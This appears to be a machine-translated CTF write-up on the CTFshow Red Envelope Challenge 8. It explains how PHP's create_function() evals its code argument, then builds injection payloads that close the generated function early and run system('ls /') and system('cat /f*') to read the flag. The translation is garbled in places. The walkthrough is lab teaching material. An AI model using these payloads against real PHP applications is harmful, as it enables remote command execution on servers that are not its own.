[CTFshow Red Envelope Challenge] Red Envelope Challenge 8 書き込み

赤い封筒チャレンジ 8

ソースコードは次のとおりです

<?php

highlight_file(__FILE__);
error_reporting(0);

extract($_GET);
create_function($name,base64_encode($value))();

検査creat_function機能


create_function() 関数

適用範囲: PHP 4> = 4.0.1PHP 5PHP 7

関数: 渡されたパラメーターに基づいて匿名関数を作成し、その一意の名前を返します。

文法:

create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分

機能的解析:

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

出力:

New anonymous function:  lambda_1
ln(2) + ln(2.718281828459) = 1.6931471805599

reate_function()無名関数 ( lambdastyle )を作成します

create_function()関数は内部で実行され、 2 番目のパラメーターの位置に属する次のステートメントeval()が実行されることがわかりますreturncreate_function()string $code

したがって、create_function 関数は次と同等です。

<?php
function lambda1($a,$b){
    
    
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

1681287158052

コードインジェクションの例:

<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    
    
    show_source(__FILE__);
}
else{
    
    
    $a('',$b);
}

最後の文字/iは大文字と小文字を区別せず、/s非表示の文字に一致します。/D終了文字が $ で制限されている場合、末尾に改行は許可されません。

ペイロードを構築します。

?a=\create_function&b=return 'Leaf';}phpinfo();/*

\この関数は、通常のマッチングをバイパスするものですpreg_match。最初のセミコロンはreturnステートメントを終了するものです。}この関数はcreate_functionステートメントを閉じるものです。その後、phpinfo() が正常に実行されるように、最後の中括弧をコメント アウトするために実行phpinfo();後に追加されます。/*

簡単に説明すると、creat_function関数を作成することです。

create_function($name,base64_encode($value))();

これは次のコードとして表示できます。

creat($name){
    
    
	base64_encode($value)
}

つまり、次のように函数片段見てください。

とりあえず無視して、先に対処することbase54_encode($value)もできます。$name

私たちがしなければならないことは、作成した関数を閉じてから次のステートメントを実行することです。

name渡された値を想定します

?name=){}phpinfo();/*

$nameペイロードを持ち込みます

#带入$name
creat(){
    
    }phpinfo();/*){
    
    
	base64_encode($value)
}

それを整理する

creat(){
    
    
    #空语句
}phpinfo();/*){
    
    
	base64_encode($value)
}

これから実行できるようになりますphpinfo()


質問に戻りますが、creat_functionそれは与えられています。$nameステートメントを閉じてコマンドを実行するためにそれを渡す必要があります$value(これは気軽に渡すことができます)。

ただし、ここで注意すべき点は、括弧を閉じるだけcreat_functionでなく閉じる必要があるということです。($name)

ペイロードを直接構築します。

?value=Leaf&name=){}system('ls /');/*

画像-20230814032513077

cat /f*フラグを取得するようにコマンドを変更します。

?value=Leaf&name=){}system('cat /f*');/*

画像-20230814032707267


この質問は次のものを参照できます: [NISACTF 2022]レベルアップ

おすすめ

転載: blog.csdn.net/Leaf_initial/article/details/132268198